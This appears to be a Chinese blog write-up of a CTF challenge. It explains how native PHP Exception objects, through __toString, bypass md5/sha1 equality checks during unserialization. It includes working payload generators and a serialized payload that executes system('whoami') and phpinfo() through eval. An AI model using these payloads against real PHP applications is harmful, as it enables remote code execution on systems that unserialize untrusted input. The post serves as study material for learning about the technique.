Nu1L知识星球的小Trick

整体环境为PHP 7+

<?php 
highlight_file(__file__);
class Timeline {
    public $var3;
    function __destruct(){
        var_dump(md5($this->var1));
        var_dump(md5($this->var2));
        if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1) === sha1($this->var2)) ){
            eval($this->var1);
           }
    }
}
unserialize($_GET[1]);
?>

三个判断:1.两个参数不相等;2.两个参数经过md5加密后相等;3.两个参数经过sha1加密后相等;

在没有提供可以利用的类或者类中无可利用的函数时,根据最近刚学的SSTI很自然的想到去利用PHP中自带预加载的类,利用其中的魔法函数进行构造。

但是由于md5函数和sha1函数的特殊性,在强等于情况下可以利用数组绕过,但是在后续进入到eval函数后,会抛出异常"Parse Error",导致程序结束。

在这儿可以利用__toString()魔法函数,将类强制输出成string

这里借用T4rn师傅的脚本跑带__toString()函数的原生类

$classes = get_declared_classes();      //返回由已定义类的名字所组成的数组
foreach ($classes as $c) {              //get_class_methods返回由类的方法名组成的数组
    if (in_array('__toString', get_class_methods($c))) {
        echo $c . "\n";
    }
}
Exception
Error
......
CachingIterator
......

方法1

查找到了一大堆的原生类,查看其官方文档后发现,凡是带有Exception或者Error的类,其__toString()方法均继承自Exception类和Error类,所以其利用方法也是完全相同的。第二种是继承自CachingIterator__toString()方法,但由于其可控参数是另一个类对象,所以无法带入我们所预期的攻击代码。(或许是可以的,我太菜了不会而已)

那这里我们就需要看看一个Exception类对象中的参数都有哪些了,toString后会输出什么。

class Exception implements Throwable {
    /** The error message */
    protected $message;
    /** The error code */
    protected $code;
    /** The filename where the error happened  */
    protected $file;
    /** The line where the error happened */
    protected $line;
    
    ......
    
    public function __construct($message = "", $code = 0, Throwable $previous = null) { }

    /**
     * Gets the Exception message
     * @link https://php.net/manual/en/exception.getmessage.php
     * @return string the Exception message as a string.
     */
     
    ......
    
    public function __toString() { }
}

可以看到,messagecode等参数可以被利用,现在需要知道输出内容是什么,才能确定如何利用

<?php
$test = new Exception();
echo $test;
/*
Exception in D:\phpstudy\WWW\index.php:2
Stack trace:
#0 {main}
*/

<?php
$test = new Exception('phpinfo();');
echo $test;
/*
Exception: phpinfo(); in D:\phpstudy\WWW\index.php:2
Stack trace:
#0 {main}
*/

可以看出利用message参数可以控制参数,但是值得注意的是后边的路径有显示行数,也就是说两个参数想要生成完全一样的字符串就需要他们在同一行定义。

从图中可以看到所有信息都是完全一样的,但是这个地方有一个点需要注意。就是强等判断时如果两个变量完全相同,此时判断为不等。这是因为两个变量并不是同一个对象。

这也是为什么题目中用的是弱等比较。继续往下分析,我需要让两个参数不等,但转字符串后相等。我们就要观察他的输出和其中个包含的变量了。

再看输出,发现没有存在第二个可控参数code,那我们继续尝试,在其中一个变量中加入code参数,并赋值为非0。

再看输出,都判断为不等了,此时看输出也是完全相同的,那么md5sha1加密后的值也相同,就能绕过题目中的判断了。

看到输出结果中已经可以绕过了,那么就可以进入eval阶段了。

PHP Parse error:  syntax error, unexpected 'D' (T_STRING) in D:\phpstudy\WWW\index.php(17) : eval()'d code on line 1

这个时候就报错了,大致意思就是eval的代码出问题了,看大佬的讲解后得知需要再message参数中,加入?>以达到闭合执行的目的。

eval执行的问题

eval执行的时候为什么加?>之后不仅代码可以正常运行,且eval后续的代码也可以顺利执行?

官方文档中是这么说的:

需要被执行的字符串代码不能包含打开/关闭PHP tags

比如, 'echo "Hi!";',不能这样传入: '<?php echo "Hi!"; ?>'

但仍然可以用合适的PHP tag来离开、重新进入PHP模式。比如'echo "In PHP mode!"; ?>In HTML mode!<?php echo "Back in PHP mode!";'

除此之外,传入的必须是有效的 PHP 代码。所有的语句必须以分号结尾。比如 'echo "Hi!"' 会导致一个 parse error,而 'echo "Hi!";' 则会正常运行。

也就是说eval中不能出现直接闭合的完整<?php ?>,也即string中出现?>就会将其后的代码以普通字符的形式直接打印,仅执行?>前的代码,同时后续如果再出现<?php标识,也可以继续按照php代码执行。

example:

容易看出,eval的一些执行规则,即不能在内部直接闭合PHP tags;下图中的代码也是合法的。

在大佬中的文章中还学到一个小小的技巧:__HALT_COMPILER();也可以终止代码的执行,同时忽略字符串中后边的代码。

那我们再看一下,__toString后的字符串,在我们的目标代码前还有一个Exception:,它会影响到我们的目标代码执行吗?

example:

依旧是带佬文章学到的知识,在eval时,如果前面是一个合法的变量名(PHP中命名规则),那么代码是可以正常执行的,原因是一个goto方法,这个就不再赘述了,可以自己上网查,一大堆,反正就是可以直接跳转到我们所标记的位置,执行后续代码。

那此时我们就解决了题目中的三个判断问题,可以构造反序列化数据了。

<?php
class Timeline {}
$payload = 'system("whoami");__HALT_COMPILER();';
$ex1 = new Exception($payload);$ex2 = new Exception($payload, 1);
$TLS = new Timeline();
$TLS->var1 = $ex1;
$TLS->var2 = $ex2;

echo urlencode(serialize($TLS));

/*
O%3A8%3A%22Timeline%22%3A2%3A%7Bs%3A4%3A%22var1%22%3BO%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A35%3A%22system%28%22whoami%22%29%3B__HALT_COMPILER%28%29%3B%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A23%3A%22D%3A%5Cphpstudy%5CWWW%5Cexp.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A4%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7Ds%3A4%3A%22var2%22%3BO%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A35%3A%22system%28%22whoami%22%29%3B__HALT_COMPILER%28%29%3B%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A23%3A%22D%3A%5Cphpstudy%5CWWW%5Cexp.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A4%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D%7D

O:8:"Timeline":2:{s:4:"var1";O:9:"Exception":7:{s:10:" * message";s:35:"system("whoami");__HALT_COMPILER();";s:17:" Exception string";s:0:"";s:7:" * code";i:0;s:7:" * file";s:23:"D:\phpstudy\WWW\exp.php";s:7:" * line";i:4;s:16:" Exception trace";a:0:{}s:19:" Exception previous";N;}s:4:"var2";O:9:"Exception":7:{s:10:" * message";s:35:"system("whoami");__HALT_COMPILER();";s:17:" Exception string";s:0:"";s:7:" * code";i:1;s:7:" * file";s:23:"D:\phpstudy\WWW\exp.php";s:7:" * line";i:4;s:16:" Exception trace";a:0:{}s:19:" Exception previous";N;}}
*/

方法2

触发机制还是__toString魔法方法,只不过是控制了其他的参数。

我们回过头再看Exception类中的参数,发现messagecode是我们直接通过传参可控的,后边的line是根据代码位置自动赋值的,那此外的file参数却不再Exception的构造函数中获得。这个确实触及知识盲区,先放一个大师傅的Poc

<?php
class Exceptiop{
    protected  $message ;
    protected  $file ;
    public function __construct($mess, $file){
        $this->message = $mess;
        $this->file = $file;
    }
}
class Timeline {
    public $var3;
    function __construct(){
        $evalcode = "phpinfo();?>";
        $this->var1 = new Exceptiop($evalcode,"in ");
        $this->var2 = new Exceptiop($evalcode." in","");
    }
}

$_1 = new Timeline();
$ans = str_replace("Exceptiop","Exception",serialize($_1));
echo urlencode($ans);

整体构造思路是利用第三方类伪造Exception参数后进行序列化,在其序列化数据中改名为Exception,然后编码传入。在这里伪造的参数依旧是message,但是为了让参数不同,而输出后又是相同的,就采用了file参数,该参数可以通过比较输出法看到它会添加在message参数后,输出位置为in XXX:中的XXX位置,具体如下:

Exception: phpinfo();?> in var1:13
Stack trace:
#0 D:\phpstudy\WWW\index.php(13): unserialize('O:8:"Timeline":...')
#1 {main}
Exception: phpinfo();?>var2 in :13
Stack trace:
#0 D:\phpstudy\WWW\index.php(13): unserialize('O:8:"Timeline":...')
#1 {main}

既然我们需要让二者输出相同,我们就要用poc里的拼接方式拼接进in,且需要严格按照其空格位置格式,否则仍不能判断通过。则可得到的正确可绕过的参数如下:

Exception: phpinfo();?> in in :13
Stack trace:
#0 /var/www/html/index.php(13): unserialize('O:8:"Timeline":...')
#1 {main}
Exception: phpinfo();?> in in :13
Stack trace:
#0 /var/www/html/index.php(13): unserialize('O:8:"Timeline":...')
#1 {main}

切忌将poc中的var1var2都写成($evalcode,"in ")($evalcode." in",""),其余得到的就等同于方法1中的内容了。

上图来自0xGeekCat师傅的博客。

总结

其实上述的技巧都是在没有提供足够的可利用类的情况下,采用PHP原生类进行调用,且要在toString后能显示可控参数,且位置合适,该Trick适合很多函数的判断绕过。

参考链接

OxGeekCat师傅-学习反序列化中利用TOSTRING绕过MD5和SHA1

信安小蚂蚁师傅-利用 Exception类 绕过md5 sha1 等系列

过客师傅-CTFWP@NULL知识星球的一个小知识点

最后修改:2020 年 11 月 04 日 11 : 09 PM
请作者喝杯奶茶吧~